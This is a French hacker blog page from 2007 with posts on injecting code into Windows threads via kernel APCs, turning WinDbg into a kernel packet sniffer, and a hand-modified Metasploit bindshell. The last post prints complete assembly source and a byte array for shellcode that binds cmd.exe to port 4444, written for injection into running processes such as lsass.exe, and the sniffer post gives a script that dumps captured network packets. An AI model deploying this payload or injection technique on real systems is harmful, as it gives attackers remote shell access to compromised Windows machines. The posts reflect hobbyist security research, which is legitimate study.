Return Value:

    If the APC object is already in an APC queue or APC queuing is disabled,
    then a value of FALSE is returned. Otherwise a value of TRUE is returned.

--*/

Aussi, comme ne nous savons pas quand notre APC sera délivré, il faut utiliser un Event, afin que notre code injecté, en appelant SetEvent, nous prévienne qu’il a finit d’exécuté le code. Après quand tout est finit, on unmap les pages, on les déverrouille et on supprime le MDL.

Pour l’instant le code marche, le code injecté est le bindshell que j’ai posté la dernière fois. Sauf qu’au moment de quitter j’ai un méchant deadlock qui parfois fait planter à la fois la VM et mon laptop, w0w funny …

J’essaye de corriger ce leger bug :] puis je vous up le POC.

Références :
Using MDLs
http://msdn2.microsoft.com/en-us/library/aa489506.aspx

Inside NT’s Asynchronous Procedure Call
http://www.ddj.com/windows/184416590

Do Waiting Threads Receive Alerts and APCs?
http://msdn2.microsoft.com/en-us/library/aa490226.aspx

11 comments août 20th, 2007

Kernel Sniffing

Je crois que la pire chose quand on est g33k, c’est l’ennui, ne plus savoir quoi faire, rester devant son écran à regarder les conversations inintéressantes sur irc ou à faire du .lamoule pendant des heures sur #lamoule@freenode le soir. Anyway, en même temps que j’avance mon projet je fais des choses super intéressantes, comme transformer mon Windbg en kernel sniffer, w00t !

La chose est simple, trouvez la fonction qui se charge de dispatcher les packets juste après le driver de miniport, mettez un breakpoint dessus et dumpez ses arguments. Cette fonction porte le doux nom de ethFilterDprIndicateReceivePacket, on peut la retrouvée dans la structure NDIS_MINIPORT_BLOCK, son prototype est :

typedef
VOID
(*FILTER_PACKET_INDICATION_HANDLER)(
    IN  NDIS_HANDLE             Miniport,
    IN  PPNDIS_PACKET           PacketArray,
    IN  UINT                    NumberOfPackets
    );

Sachant que le paramètre PacketArray pointe sur un tableau de MDL décrivant les pages contenant nos buffers avec les données reçu sur le miniport, il suffit de dumper leur contenu avec la commande de l’extension ndiskd, !pkt pour voir le contenu du packet.

Breakpoint 0 hit
NDIS!ethFilterDprIndicateReceivePacket:
fcb0bb21 8bff            mov     edi,edi
kd> kv
ChildEBP RetAddr  Args to Child
8055053c fcd7b95e 80da0ad0 80d58f30 00000002 NDIS!ethFilterDprIndicateReceivePacket (FPO: [Non-Fpo])
80550570 fcd7b17b 80d58f38 804e4a15 80da0ad0 dc21x4!ProcessReceiveDescRing+0x2b4 (FPO: [Non-Fpo])
80550590 fcb05712 00010040 80559280 80559020 dc21x4!DC21X4HandleInterrupt+0xe7 (FPO: [Non-Fpo])
805505ac 804dbbd4 80d5801c 80d58008 00000000 NDIS!ndisMDpc+0xff (FPO: [Non-Fpo])
805505d0 804dbb4d 00000000 0000000e 00000000 nt!KiRetireDpcList+0x46 (FPO: [0,0,0])
805505d4 00000000 0000000e 00000000 00000000 nt!KiIdleLoop+0x26 (FPO: [0,0,0])

kd> dd poi(@esp+8) l 2
80d58f30  80d53698 80d52378

kd> !pkt poi(poi(@esp+8)+0) 5
NDIS_PACKET at 80d53698
	MDL = 80d4fc08
		StartVa fffffffffc956000, ByteCount 0x79, ByteOffset 0xc80, NB MdlOffset 0x0
	fc956c80:  00 03 ff 02 63 0e 00 17 33 45 4c ec 08 00 45 00
	fc956c90:  00 6b 12 1e 40 00 35 06 e1 bb c3 e1 cc 15 c0 a8
	fc956ca0:  01 14 1a 0b 07 50 33 26 79 69 de cc 18 74 50 18
	fc956cb0:  10 00 4f 63 00 00 3a 53 71 75 61 6c 6c 73 75 72
	fc956cc0:  66 21 45 6d 65 61 75 40 57 6e 65 74 2d 33 37 30
	fc956cd0:  32 32 2e 77 39 30 2d 34 39 2e 61 62 6f 2e 77 61
	fc956ce0:  6e 61 64 6f 6f 2e 66 72 20 4a 4f 49 4e 20 3a 23
	fc956cf0:  6e 69 62 62 6c 65 73 0d 0a

kd> !pkt poi(poi(@esp+8)+4) 5
NDIS_PACKET at 80d52378
	MDL = 80d50888
		StartVa fffffffffc94d000, ByteCount 0xa5, ByteOffset 0x680, NB MdlOffset 0x0
	fc94d680:  00 03 ff 02 63 0e 00 17 33 45 4c ec 08 00 45 00
	fc94d690:  00 97 12 a7 40 00 35 06 e1 06 c3 e1 cc 15 c0 a8
	fc94d6a0:  01 14 1a 0b 07 50 33 26 79 ac de cc 18 74 50 18
	fc94d6b0:  10 00 ae 1f 00 00 3a 5b 67 33 33 6b 5d 21 7e 5b
	fc94d6c0:  67 33 33 6b 5d 40 67 65 65 6b 2e 6f 75 2e 70 61
	fc94d6d0:  73 20 4d 4f 44 45 20 23 6e 69 62 62 6c 65 73 20
	fc94d6e0:  2b 76 20 53 71 75 61 6c 6c 73 75 72 66 0d 0a 3a
	fc94d6f0:  46 6f 6f 62 61 72 21 74 6f 74 6f 40 34 32 2e 57
	fc94d700:  6f 72 6c 64 6e 65 74 20 4d 4f 44 45 20 23 6e 69
	fc94d710:  62 62 6c 65 73 20 2b 6f 20 53 71 75 61 6c 6c 73
	fc94d720:  75 72 66 0d 0a

Après on peut automatiser cela avec un windbg script :

$$
$$ Packet dumper
$$ 		by
$$	 Ivanlef0u

!ndiskd.load
.reload
bp NDIS!ethFilterDprIndicateReceivePacket "r @$t0 = poi(@esp+0xC);
.for (r $t1=0; @$t1<@$t0; r $t1=@$t1+1)
{
   .printf \\"Dumping packet %d at 0x%x\\n\\", @$t1, poi(poi(@esp+0x8)+@$t1*4);
   !pkt poi(poi(@esp+0x8)+@$t1*4) 5;

};g"

Enregistrer le sous l’extenion .wdbg et lancez le de la manière suivante : $$><c:\sniff.wdbg
En le laissant tourner vous obtenez un joli screensaver et si, de plus, vous avez colorez le texte de votre Windbg en vert fera un magnifique matrix-like à montrer à vos amis.

Autrement j’ai remarqué une forte affluence sur mon blog depuis le site reseaux-telecoms.net, en effet ce cher Marc Olanié s’amuse à poster des billets référençant mon site en ne tarissant pas d’éloges dessus … Je cite :
A propos de lu post New Registry Hiding Method : « Article, comme d’habitude, admirable de compétence technique, teinté d’humour et nécessitant, pour le commun des mortels, un tube non entamé d’Aspirine du Rhône (en capsules). »

Aussi : « Instrument de hacking non-humain à comparer -est-ce possible- avec sa contrepartie humaine française, toujours aussi étonnante. »

Il est affectueux le monsieur, evidemment je trouve ca sympa de ca part de me faire de la pub. Cependant ce blog s’adressant un à public avertit de drogués aux chocapicz je pense que les gens plus ‘corporate’ qui lisent reseaux-telecoms.net et qui viennent ici, s’en sortent avec séquelles neurologiques grave à vie. Bref je trouve ca cool qu’on apprécie ce que je fais mais faudrait pas non plus mettre ca devant n’importe qui :] Si ce cher Marc veut me rencontrer, je suis sur Paris en ce moment, on pourrait aller se prendre une bière et se faire des putes de luxe à Pigalle :}

4 comments août 11th, 2007

Shellcoding and others

La rumeur faisant courir que je me suis fait enlevé par les Aliens est vraie. Depuis 1 mois, je suis, dans le cadre d’une opération appelé « Stage de découverte d’entreprise » retenu de force par mes ravisseurs. Ceux-ci m’ont forcé à développer une arme visant à conquérir le monde (et je peux vous dire que j’en suis proche mouhahaha !). Ce qui est marrant quand on fait du dev kernel Windows, c’est que personne ne vous comprend, exemple : « Alors là, tu vois je fais un IoAllocateMdl sur mes pages ensuite je les verrouille avec MmProbeAndLockPages puis je les map dans le user space d’un process avec un MmMapLockedPagesSpecifyCache avec le param AccessMode mit à un UserMode en oubliant pas avant de m’être attach à l’EPROCESS avec un KeStackAttachProcess, c’est plus classe qu’un NtMapViewOfSection tu trouves pas ? », à l’autre de me répondre « Heuu … Bon ca marche oui ou merde ? ». Bref tout ca pour dire je suis un peu tout seul dans mon petit monde mais que je m’éclate bien. Dernièrement un truc con m’est arrivé, j’avais besoin pour test une feature de mon tool, d’injecter un code dans un thread déjà existant. Sachant que je voulais lancer quelque chose d’utile, typiquement un bindshell ou un reverseshell, j’ai voulu use les shellcodes de metasploit avant de m’apercevoir que ces derniers s’en foutaient un peu du contexte d’exécution ou ils se trouvaient (ce qui est normal, vu qu’ils sont fait pour être use dans le cadre d’une exploitation d’un bug qui souvent finit par un crash du programme). En fait pour quitter les payloads de metasploit utilisent soit un ExitProcess, soit un ExitThread ou bien un UnhandledExceptionFilter et defonce completement la stack, bref si on tente d’injecter un de ces payload dans un thread « propre » par exemple dans le cadre d’un APC, on fait planter le process et c’est pas vraiment cool si c’est lsass.exe … dionc, la flemme de chercher sur google on disass le shellcode puis on le modifie from scrach ! hop hop hop tokaff !

J’ai choisit de modif le bindshell provenant de metasploit ouvrant le port 4444 et nous renvoyant un socket binder sur un cmd.exe

Le shellcode bien évidemment s’exécutant dans un environnement doit être capable de retrouver les fonctions dont il a besoin tout seul comme un grand, sans rien hardcoder. Pour cela, trick habituel, kernel32 est retrouvé dans le PEB, ensuite on une fonction qui va scanner d’EAT du module et hasher les noms des fonctions puis les comparer à ceux qu’on cherche. Le shellcode va donc effectuer les opérations suivantes :
- Retrouver l’ImageBase de Kerne32 dans le PEB_LDR_DATA du PEB.
- Charger la lib winsock avec un LoadLibrary(« ws2_32″);
- WSAStartup()
- WSASocket()
- bind()
- listen
- accept()
- closesocket() pour fermer le socket en écoute
- CreateProcess() sur cmd.exe
- WaitForSingleObject() pour attendre que le cmd.exe soit kill
- closesocket() pour close le socket récup par accept

La routine quoi, allay voilà la purée après disass et modification :

.586
.model flat,stdcall
option casemap:none
assume fs:nothing
.code 

start:
	cld

	startlol:
	push 0FFFFFFEBh
	db 4Fh
	call near ptr startlol+1

	;00400220    FC              CLD
	;00400221    6A EB           PUSH -15
	;00400223    4D              DEC EBP
	;00400224    E8 F9FFFFFF     CALL bind.00400222

	;00400222   /EB 4D           JMP SHORT bind.00400271

	;trick pour avoir sur le stack en saved eip le debut de la fct de hash avec un couple call/jmp

	;function de recherche dans l'EAT avec hash des noms de fct, stdcall convention
	; IN : Module Handle
	; IN : hash
	; OUT : function VA
	pushad
	mov ebp, [esp+24h] ; ebp=module handle, 1er arg
	mov eax, [ebp+3Ch]
	mov edi, [ebp+eax+78h]
	add edi, ebp
	mov ecx, [edi+18h]
	mov ebx, [edi+20h]
	add ebx, ebp

	nextname:
	dec ecx
	mov esi, [ebx+ecx*4]
	add esi, ebp
	xor eax, eax
	cdq

	hash:
	lodsb
	test  al, al
	jz hashend
	ror edx, 0Dh
	add edx, eax
	jmp short hash

	hashend:
	cmp edx, [esp+28h] ; compare notre avec le hash passe en 2 eme arg
	jnz short nextname

	mov ebx, [edi+24h]
	add ebx, ebp
	mov cx, [ebx+ecx*2]
	mov ebx, [edi+1Ch]
	add ebx, ebp
	add ebp, [ebx+ecx*4]
	mov [esp+1Ch], ebp ;ecrit l'addr dans le saved eax du pushad
	popad

	retn 8
	; end hash fct

	;AAAAAAAAAAAAAAAAAA we jmp here  AAAAAAAAAAAAAAAAAA

	xor ebx, ebx
	mov eax, fs:[ebx+30h]
	mov eax, [eax+0Ch]
	mov esi, [eax+1Ch]
	lodsd
	mov edi, [eax+8] ;edi=kernel32 module
	pop esi ; esi = addr fct hash, pushe avec le call/jump d'avant

	push 0CE05D9ADh ;hash WaitForSingleObject
	push edi ;kernel32 module
	call esi

	push eax ; on push le WaitForSingleObject pour le recup plus loin

	push 16B3FE72h ;hash CreateProcess
	push edi;kernel32 module
	call esi

	push eax ;pour le CreateProcess plus loin

	;ici on a sur la pile
	;@WaitForSingleObject
	;@CreateProcess
	;0FFFFFFEBh
	;saved eip

	push 0EC0E4E8Eh ;hash loalibrary
	push edi
	call esi 

	push 3233h ;"32x00x00" ;
	push 5F327377h ; "ws2_"
	push esp
	call eax ;loadlibrary("ws2_32");
	add esp,  08h

	mov edi, eax ;edi = ws2_32 module handle

	push 3BFCEDCBh ;hash WSAStartup
	push eax ;ws2_32  module handle
	call esi

	mov ebp, esp
	sub esp, 400 ;sizeof(WSADATA)=400d
	push esp
	push 2
	call eax ; WSAStartup
	add esp, 400

	push 0ADF509D9h ;hash WSASocket
	push edi
	call esi

	push ebx ;
	push ebx
	push ebx
	push ebx
	inc ebx
	push ebx ;1=SOCK_STREAM
	inc ebx
	push ebx ;2=AF_INET
	call eax ;WSASocket

	xchg ebp, eax ;ebp=socket

	push 0c7701aa4h;hash bind
	push edi
	call esi 

	xor edx, edx
	push edx ; sockaddr_in.sin_zero
	push edx ; sockaddr_in.sin_zero
	push edx ; sockaddr_in.n_addr=INADDR_ANY
	push  5C110002h ;port 4444 (0x115C), family 2 AF_INET

	mov ecx, esp; ecx=addr struct sockaddr

	push 10h
	push ecx
	push ebp ;socket
	call eax;bind

	add esp, 10h

	push 0E92EADA4h;hash listen
	push edi
	call esi

	push 2
	push ebp
	call eax ; listen

	push 498649E5h ;hash accept
	push edi
	call esi

	sub esp,  10h
	push esp ;Optional pointer to an integer that contains the length of addr.
	push esp ;Optional pointer to a buffer that receives the address of the connecting entity (sockaddr struct)
	push ebp
	call eax ;accept

	add esp, 10h

	xchg eax, ebx ;ebx=new socket recup de accept()

	push 79C679E7h ;hash closesocket
	push edi
	call esi

	mov [esp+8], eax; push closesocket

	push ebp
	call eax ;closesocket, ferme le socket d'ecoute

	pop esi ;recupere createprocess
	push ebx ;push le socket pour apres

	push " dmc" ;cmd
	mov ebp, esp

	push 50h
	pop ecx
	sub esp, ecx ; 

	mov edi, esp
	push 44h ;STARTUPINFO.cb=44h
	mov edx, esp ;edx pointe sur notre struct STARTUPINFO
	xor eax, eax
	rep stosb

	;remplit le champ dwFlags
	inc byte ptr [edx+2Dh] ; STARTF_USESHOWWINDOW
	inc byte ptr [edx+2Ch] ;STARTF_USESTDHANDLES
	;If dwFlags specifies STARTF_USESHOWWINDOW,
	;this member can be any of the SW_ constants defined in Winuser.h. Otherwise, this member is ignored.
	;SW_HIDE=0 donc la fenetre ne sera pas visible

	xchg eax, ebx
	lea edi, [edx+38h]
	stosd ;STARTUPINFO.hStdInput=socket
	stosd ;STARTUPINFO.hStdOutput=socket
	stosd ;STARTUPINFO.hStdError=socket
	pop ebx

	push edi
	push edx
	push ecx
	push ecx
	push ecx
	push 1 ;inheritable handles
	push ecx
	push ecx
	push ebp
	push ecx
	call esi; CreateProcess
	add esp, 54h

	pop esi ;recup la socket

	pop ebx ;recup WaitForSingleObject
	push 0FFFFFFFFh
	push dword ptr [edi]
	call ebx ;WaitForSingleObject

	pop ebx; recup closesocket
	push esi
	call ebx

	retn
end start

Pas la peine de troller sur l’optimisation, je ne suis pas un monstre en ASM et puis comme il s’agit d’une « copie de mémoire » je m’en fou des NULL bytes, c’est avant tout pour moi, libre à vous de le modifier :)

On a le payload suivant :

	unsigned char shellcode[] ={
    0xFC, 0x6A, 0xEB, 0x4F, 0xE8, 0xF9, 0xFF, 0xFF, 0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
    0x3C, 0x8B, 0x7C, 0x28, 0x78, 0x03, 0xFD, 0x8B, 0x4F, 0x18, 0x8B, 0x5F, 0x20, 0x03, 0xDD, 0x49,
    0x8B, 0x34, 0x8B, 0x03, 0xF5, 0x33, 0xC0, 0x99, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCA, 0x0D,
    0x03, 0xD0, 0xEB, 0xF4, 0x3B, 0x54, 0x24, 0x28, 0x75, 0xE5, 0x8B, 0x5F, 0x24, 0x03, 0xDD, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x5F, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0x8B, 0x89, 0x6C, 0x24, 0x1C, 0x61,
    0xC2, 0x08, 0x00, 0x33, 0xDB, 0x64, 0x8B, 0x43, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD,
    0x8B, 0x78, 0x08, 0x5E, 0x68, 0xAD, 0xD9, 0x05, 0xCE, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x72, 0xFE,
    0xB3, 0x16, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x8E, 0x4E, 0x0E, 0xEC, 0x57, 0xFF, 0xD6, 0x68, 0x33,
    0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x08, 0x8B, 0xF8,
    0x68, 0xCB, 0xED, 0xFC, 0x3B, 0x50, 0xFF, 0xD6, 0x8B, 0xEC, 0x81, 0xEC, 0x90, 0x01, 0x00, 0x00,
    0x54, 0x6A, 0x02, 0xFF, 0xD0, 0x81, 0xC4, 0x90, 0x01, 0x00, 0x00, 0x68, 0xD9, 0x09, 0xF5, 0xAD,
    0x57, 0xFF, 0xD6, 0x53, 0x53, 0x53, 0x53, 0x43, 0x53, 0x43, 0x53, 0xFF, 0xD0, 0x95, 0x68, 0xA4,
    0x1A, 0x70, 0xC7, 0x57, 0xFF, 0xD6, 0x33, 0xD2, 0x52, 0x52, 0x52, 0x68, 0x02, 0x00, 0x11, 0x5C,
    0x8B, 0xCC, 0x6A, 0x10, 0x51, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x68, 0xA4, 0xAD, 0x2E, 0xE9,
    0x57, 0xFF, 0xD6, 0x6A, 0x02, 0x55, 0xFF, 0xD0, 0x68, 0xE5, 0x49, 0x86, 0x49, 0x57, 0xFF, 0xD6,
    0x83, 0xEC, 0x10, 0x54, 0x54, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x93, 0x68, 0xE7, 0x79, 0xC6,
    0x79, 0x57, 0xFF, 0xD6, 0x89, 0x44, 0x24, 0x08, 0x55, 0xFF, 0xD0, 0x5E, 0x53, 0x68, 0x63, 0x6D,
    0x64, 0x20, 0x8B, 0xEC, 0x6A, 0x50, 0x59, 0x2B, 0xE1, 0x8B, 0xFC, 0x6A, 0x44, 0x8B, 0xD4, 0x33,
    0xC0, 0xF3, 0xAA, 0xFE, 0x42, 0x2D, 0xFE, 0x42, 0x2C, 0x93, 0x8D, 0x7A, 0x38, 0xAB, 0xAB, 0xAB,
    0x5B, 0x57, 0x52, 0x51, 0x51, 0x51, 0x6A, 0x01, 0x51, 0x51, 0x55, 0x51, 0xFF, 0xD6, 0x83, 0xC4,
    0x54, 0x5E, 0x5B, 0x6A, 0xFF, 0xFF, 0x37, 0xFF, 0xD3, 0x5B, 0x56, 0xFF, 0xD3, 0xC3};

Ce qui fait au total 334 Bytes pour avoir un shellcode « propre », par rapport aux 317 de l’original qui defoncait tout, je m’en sors pas mal ;)

Sinon truc bête, après que vous ayez le shell, le thread est bloqué à cause de WaitForSingleObject, je corrigerais cela plus tard en demandant au shellcode de creer un new thread.

A par ça, Imminity nous a release son Immunity Debugger qui est un OllyDbg auquel ils ont ajoutés une interface python, c’est mignon mais ca casse pas des briques.

Rutkowska qui à release les sources de son BlueBill réécrit, qui si elles compilaient pourraient être sympa à regarder, faut quand même dire que ceux qui sont capable de capter ce genre de trucs ne courent pas les rues …. (Avis aux amateurs de prise de tête). J’vais quand même lire les slides de sa dernière conf IsGameOver()? En espérant comprendre la moitié.

Un jour peut-être qui sait …

3 comments août 4th, 2007


Calendar

août 2007
L Ma Me J V S D
« juil   sept »
 12345
6789101112
13141516171819
20212223242526
2728293031  

Posts by Month

Posts by Category